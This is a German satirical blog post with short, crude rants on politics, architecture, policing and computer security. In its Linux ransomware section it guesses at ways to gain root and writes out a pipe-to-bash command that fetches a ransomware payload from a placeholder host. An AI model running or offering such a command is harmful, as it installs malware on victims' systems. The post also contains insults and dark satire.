Kennt ihr den schon?

Neue Probleme auf Baustelle in Berlin-Schönefeld
BER-Eröffnung 2017 unmöglich – Aufsichtsrat verschiebt Sitzung

Aber 2018 klappt es bestimmt. Es ist nun einmal schwierig, mit beton zu bauen. Vor allem für bauunternehmen, die dummes staatsgeld hinterhergeworfen kriegen. Und während da eine baufrische ruine hingestellt wird, vergammeln die schulen. Übrigens: 2017 könnt ihr bei der bummstagswahl die versager erneut in amt und herrschaft wählen, die dafür p’litisch verantwortlich sind. Deren protzig-repräsentative bauten in berlin sind ja immerhin rechtzeitig fertig geworden, nachdem die in bonn auch gerade fertiggeworden sind und da jetzt am rhein rumstehen und vergessen werden.

Karlshure des tages

Wenn du eine partei gründest, die klar verfassungsfeindlich ist, wird diese partei von der karlshure nur dann verboten, wenn sie auch eine erfolgsaussicht hat.

Allerdings fehlt es (derzeit) an konkreten Anhaltspunkten von Gewicht, die es möglich erscheinen lassen, dass dieses Handeln zum Erfolg führt, weshalb der Zweite Senat des Bundesverfassungsgerichts den zulässigen Antrag des Bundesrats auf Feststellung der Verfassungswidrigkeit und Auflösung der NPD und ihrer Unterorganisationen (Art. 21 Abs. 2 GG) mit heute verkündetem Urteil einstimmig als unbegründet zurückgewiesen hat

Kommt, lasst uns eine kannibalen-partei gründen und für die bundesweite versorgung mit kannibalischen schnellimbissen kämpfen! (Immer schön mit einem grinsenden bratmenschen dekoriert, der messer und gabel in seinen knusprigen händen hält.) Das löst so viele probleme auf einmal und nicht nur endlösungsmäßig endgültig, sondern auch kalorienreich und schmackhaft: das problem mit den renten, mit den hartz-IV-empfängern, mit den flüchtlingen, mit den behinderten, mit den veganern. „Friss weg, was dich frisst!“ — und so lange dieses p’litische programm keine aussicht auf erfolg hat, können wir schön parteiarbeit machen, vielleicht sogar in das eine oder andere rathaus einziehen, vielleicht sogar wahlkampfkosten vom staate ersetzt kriegen. Das ist doch toll. :mrgreen:

Ihmezentrum des tages

Das große problem bei der höllenhässlichen betonburg „ihmezentrum“ (die inzwischen noch schlimmer aussieht als auf diesen alten fotos)formerly known as LindenPark — ist nach auffassung einiger PR-heinis nicht etwa, dass die betonburg kalt, lebensverachtend, trist, unmenschlich und für jeden menschen mit resten für gefühl nur noch eine einladung zum freitod ist, sondern, dass sich die menschen darin nicht mehr sicher fühlen. So funkzjoniert das mit der scheiß-PR eben: den leuten eine scheinlösung für scheinprobleme anbieten, die wirklichen probleme als unbeachtlich erklären und auf diese weise aus manipulierten leuten frische neue anhänger machen.

Übrigens: wer wirklich visjonen hat, dass dieser „größte schrotthaufen niedersaxens“ (lt. financial times deutschland) zu einem „wahrzeichen für hannover“ werden könne, sollte sich dringend in behandlung begeben. Und wer diese visjonen nicht wirklich hat, sondern sie im reklameton der lüge vorschiebt, um mit diesem psychopflug irgendwelche geschäfte voranzutreiben, ist eine ausgesprochen unappetitliche leibespforte.

Das unwort des jahres 2016…

Das unwort des jahres 2016 ist „volxverräter“, und dafür gibts auch einen grund:

In der Begründung der Jury heißt es, Anhänger von Pegida, AfD und ähnlichen Initiativen würden den Begriff als Vorwurf gegenüber Politikern verwenden. Er sei undifferenziert und diffamierend und würde „das ernsthafte Gespräch und damit die für Demokratie notwendigen Diskussionen in der Gesellschaft“ abwürgen

Das gleiche gilt übrigens für das im sommer 2016 von Angela Merkel geprägte wort des jahres 2016: „postfaktisch“, nur das irgendwelche »patriotischen europäer« oder »alternativen für schland« nix damit zu tun haben. :mrgreen:

Prof. dr. Offensichtlich

Prof. dr. Offensichtlich hat einen dschobb bei der verbraucherzentrale und hat da rausgekriegt, dass das bekweme bezahlen mit einer wischofon-äpp keine besonders gute idee ist.

Und nein, ein antivirus-schlangenöl wird — anders, als prof. dr. Offensichtlich in seinem artikelchen schreibt — nicht helfen. Es hilft ja auch auf den großen kompjutern nicht. Es hilft nicht einmal bei den unternehmen, die antivirus-schlangenöl programmieren und verkaufen.

Gehirnchen hilft. Und übrigens soll es auch noch dieses bargeld geben, dass eine kriminelle bande aus bänkstern und p’ltikern am liebsten abschaffen würde, damit bei jedem bezahlvorgang datenspuren entstehen und die bänkster eine gebühr in rechnung stellen können. Man muss schon ganz schön doof sein, um sich das andrehen zu lassen.

Man fällt jetzt nicht gleich aus allen wolken…

Na, habt ihr wieder alle schön vergessen, was ihr im späten herbst noch so empörend fand. Hier eine kleine erinnerung:

Aber im zweifelsfall gehen alle p’litisch ausnutzbaren datenlecks und wahlbeeinflussenden enthüllungen ja auf diese pösen russischen häcker zurück, wisst ja, die man erfinden müsste, wenn mans nicht schon hätte. Die werden hier demnächst sogar die bummstagswahl manipulieren und schuld daran sein, wenn die scheiß-hartz-IV-SPD unter 15 prozent fällt, denn an der scheiß-hartz-IV-SPD kann das ja nicht liegen. | Direktlink zu juhtjuhbb (und archiviert es, bevors für die BRDDR verschwinden gemacht wird)…

Was in russland anders ist als hier

In russland ist das geschäftsmodell einer nach vergorenen exkrementen stinkenden spämmsau wie linkedin schlicht illegal und wird deshalb mit staatsgewalt unmöglich gemacht. Recht so. Wer mit händy-trojanern adressbücher von wischofonen abgreift und eingesammelte adressen zuspämmt, sollte eigentlich in den knast gehen (ausspähen von daten, arglistige täuschung und alles, was dem staatsanvergewalt noch so einfällt). Von solchen zuständen kann man hier nur träumen.

Oh, geht nicht, weil die knäste voller schwarzfahrer sind? schade.

Ich hoffe, dass ich noch die zeit erlebe, in der die kooperazjon mit einem spämmer bedeutet, dass man keine karrjere jenseits gebäudereinung, bauhelfer oder aldi-kasse mehr machen kann! Ihr scheißidjoten, die ihr bei linkedin mitmacht, ihr seid die spämm!

Was habe ich darauf gewartet!

Unter linux gibt es kein ausreichenden softwäjhr-angebot? Das ändert sich. ENDLICH gibt es erpressungstrojaner auch für linux-sörver!!!1!elf!!

Bleibt nur eine offene frage: das ding braucht offensichtlich root-rechte, um sich über GRUB melden zu können. Wie kann man einem linux-sörver einen trojaner unterjubeln. Ich sehe da (bei debianoiden systemen) folgende möglichkeiten:

  • PPAs wurden gepwnt. Der admin ist eine schlafmütze und hat PPAs auf einem sörver eingetragen, die dann halbautomatisch sein system mitwarten. (Die alternative ist es, kwelltextpakete nach abgleich der prüfsumme selbst zu kompilieren.) Das bildschirmfoto zeigt einen unbuntu-GRUB, deshalb scheint mir ein PPA gar nicht unwahrscheinlich zu sein.
  • Fiese debian-fehler, die bei der unnötigen umstellung des paketmänätschments aufgetreten sind, wurden ausgebeutet.
  • Über irgendeine kombinazjon verschiedener „kleiner“ fehler, die ein admin aus furcht vor problemen auch mal völlig ungefixt lässt, kam es zur rechteausweitung und zur ausführung von kohd mit root-rechten. Etwa, wenn es durch einen fehler in websörver oder in einer darauf laufenden anwendung möglich geworden ist, kohd mit den rechten des websörvers auszuführen, um dann dirty COW zu benutzen, um root zu kriegen.

Wie es auch sei, eines wirkt dumm an diesem trojaner: warum handelt es sich um die linux-variante eines windohs-schädlings. Gerade ein un*xoides betrübssystem macht es im grunde sehr einfach, einen derartigen trojaner zu schreiben. Sogar die implementazjon in einem shellskript wäre bekwem möglich. Kurz: die leute, die das gemacht haben, sind vermutlich ein bisschen dumm. Dabei braucht nicht einmal eine temporäre datei (die bei einer analyse den privaten schlüssel verraten und eine entschlüsselung ermöglichen könnte) auf einem datenträger abgelegt zu werden, es gibt doch pipes:

# curl -L http://get.ransomware.example.com/?for=some_id | bash

Un*xoide betrübssysteme haben eben ihre ganz eigene eleganz… :mrgreen:

Aber: welche schlafmütze von admin hat keine bäckups vom sörver? Oh… 😦

Aber die jagd ist eröffnet. Inzwischen haben ja doch so einige ganz normale anwender ein linux-system als desktoprechner, und viele von ihnen dürften sich sehr sicher fühlen, weil sie ja nicht dieses gefährliche windohs benutzen und deshalb alle vorsicht fahren lassen… da wird die überraschung dann böse, wenn beim hochfahren auf dem bildschirm „gib mir bitcoin, oder du siehst deine daten nie wieder“ steht.

Lasst euch kein antivirus-schlangenöl für linux aufschwatzen! Die scheiße funkzjoniert schon unter windohs nicht und reißt tendenzjell eher noch größere sicherheitslöcher auf. Lernt lieber etwas über den kompjuter, den ihr benutzt, klickt nicht auf alles, was sich anklicken lässt und seht zu, dass ihr immer ein aktuelles system habt. Die beste antivirus-softwäjhr ist das gehirn.

Javascript des tages

Die verbrecher halten die nutzer von Mäcks offenbar für so blöd, dass sie einfach über javascript in irgendwelchen drexsites immer wieder neue mailto:-links öffnen, um den nutzer dazu zu bringen, eine telefonnummer anzurufen. Die nummer steht dann im betreff der neu geöffneten mäilfenster und damit auch im fenstertitel. Ich will es mal so sagen: wer auf solche „überredungskünste“ hin zum telefon greift, gehört nicht zu den hellsten leuchten im lampenladen.

Was gegen solche lästigen überrumpelungen auf dem niwoh eines achtjährigen kindes (und gegen viel richtige internetz-kriminalität) hilft? Ganz einfach: nicht jeder dahergelaufenen drexseit die ausführung von javascript im brauser gestatten. Aber man kann es natürlich auch wie äppel machen und jedes symptom einer unsicheren und dummen grundeinstellung einzeln behandeln… 😦

Gar nicht auszudenken, wie sehr vor fläsch gewarnt worden wäre, wenn dieses mikrohäckchen mit fläsch gemacht worden wäre. Aber so, wo es javascript ist, braucht man mit keinem wort auf die ursache hinzuweisen. Scheiß äppelgekaufter scheißjornalismus!

Schutzgesetz des tages

In frankreich haben die abhängig beschäftigte jetzt das recht, auf mäjhls und anrufe ihres ausbeuters nach feierabend einfach nicht mehr zu reagieren. Das nützt zwar nichts, weil sie dann halt wegen anderer, an den haaren herbeigezogener gründe gefeuert werden, aber hej: sie haben ein recht. Und das ist doch toll, dass sie ein recht haben. Kennen wir ja auch alle schon von den menschenrechten.

Dass es in der BRD mit ihrer „marktkonformen demokratie“ (A. Merkel) jemals auch nur so ein völlig wirkungsloses feigenblatt-gesetz gegen die ständige kostenlose verfügbarkeit durch ausbeuter geben wird, könnt ihr euch abschminken. Die BRD braucht keine feigenblätter. Die steht völlig nackt da, als nackte gier der besitzenden. (Die idjoten, die in der BRD die ganze arbeit machen, glauben sogar, dass ein streik etwas unanständiges wäre…)

Polizei des tages

Inzwischen stellen die polizeien in der BRD die „sicherheit“ im AFD-modus her:

Die Polizei in Köln will mit Personenkontrollen Sicherheit schaffen. Wer wie stark kontrolliert wird, entscheidet sich offensichtlich nach der Hautfarbe

Merke: arier sind ungefährlich, alles andere muss kontrolliert werden.

Aber so neu ist das nun auch wieder nicht. Hier in hannover ist ein „arabisches aussehen“ nebst vollbart schon seit jahren eine garantie, bei jedem längeren spaziergang mindestens einmal von der polizei angehalten zu werden. Ja, seit jahren, nicht erst seit einer so genannten flüchtlingskrise.

Linux des tages

Linuxnutzer. Das sind die menschen, denen man auf einer webseit für linuxnutzer erklären muss, dass man sich den verwendeten desktop mit ein paar klicki-klicki klicks anpassen kann und wie das geht. Hach, was waren das noch für schöne zeiten, als die mehrzahl der linuxnutzer keine kompjuteranalfabeten waren!

Und ja, in diesen zeiten war es durchaus brauchbarer und nützlicher content, wenn jemand eine kleine einführung in die einrichtung eines FVWM geschrieben hat. (Das dingens war mein liebling, bevor KDE, GNOME und XFCE kamen. Und wenn man keine angst davor hat, sich einen windowmanager mit einem texteditor zu konfigurieren und sich von angestaubten und gereiften konzepten nicht erschrecken lässt, ist FVWM unglaublich gut anpassbar.)

Doofrindt des tages

Alexander Doofrindt, offen kriminalitätsförderndes, korruptes loch mit minsterpostenhintergrund, hat endlich eingesehen, dass ihm für die datenautobahn jegliche kompetenz fehlt und fordert deshalb die einrichtung eines bummdigitalministerjums. Hervorragende idee! Da hat man dann endlich einen eigenen minister, der bei jeder möglichen und unmöglichen gelegenheit in die kameras abcybern kann. Schön auch, dass Doofrindt sein völliges versagen als datenautobahnminister selbst einzusehen scheint.

Ich schlage als namen „bummsministerjum für cyber, internetzkram und bullschitt“ vor. Das errichtet dann sicher schnell einen haufen lustiger behörden, wo wir vorher unsere blogpohstings, unser gefratzenbuche und unsere fiepser genehmigen lassen können, nachdem sie auf hassredefreiheit und p’litische unbedenklichkeit untersucht wurden. Vergesst nicht, dass das die gleiche bummsregierung ist, die auch sendezeitbegrenzungen fürs internetz in den jugendmedienstaatsvertrag reingeschrieben hat! Ja, wirklich. Das ist geltendes recht in der BRD.

Wenn ich so etwas höre, denke ich ja spontan, dass demnächst der Günther Oettinger wieder etwas in der BRD werden könnte. Zum beispiel bummsdigitalminister. Der hat jetzt ja sicherlich in der EU jede menge „kompetenz“ als digitalkommissar angesammelt. Cyber cyber!

„Überwachung hilft gegen den terror“ des tages

Nach dem Anschlag auf Berliner Weihnachtsmarkt
Die Behörden wussten fast alles über Amri

Aber hej, das hält einen BRD-innenp’litiker doch nicht davon ab, noch mehr überwachung aller menschen einzufordern. Frei nach dem motto: „hej, wir finden die nadel im heuhaufen nicht, bringt doch mal mehr heu“. :mrgreen:

Übrigens: es gab immer noch keinen rücktritt eines totalversagers.

The bullshit that means business…

So ein webbrauser auf einem kompjuter ist ja echt voll unsicher, aber da hat eine klitsche eine tolle lösung gefunden: einfach den brauser in die „cloud“ packen, und alles wird gut! Kostet auch nur zehn dollar im monat.

Mein armes bullschitt-o-meter muss sich nach genuss dieses tollen angebotes erstmal von seiner belastungsprobe erholen, und danach verstehe ich vielleicht sogar, was die mir wirklich anbieten wollen. Ist es ein konfigurierbarer, filternder proxysörver mit einem äppchen dazu, das einem die aufwändige konfigurazjon im brauser (eintragen einer IP-adresse) erspart? So für unfähige admins, die nicht wissen, wie man sich einen proxy aufsetzt, und für kompjuteranalfabetische webnutzer, die nicht wissen, wie man einen javascript-blocker und einen adblocker benutzt?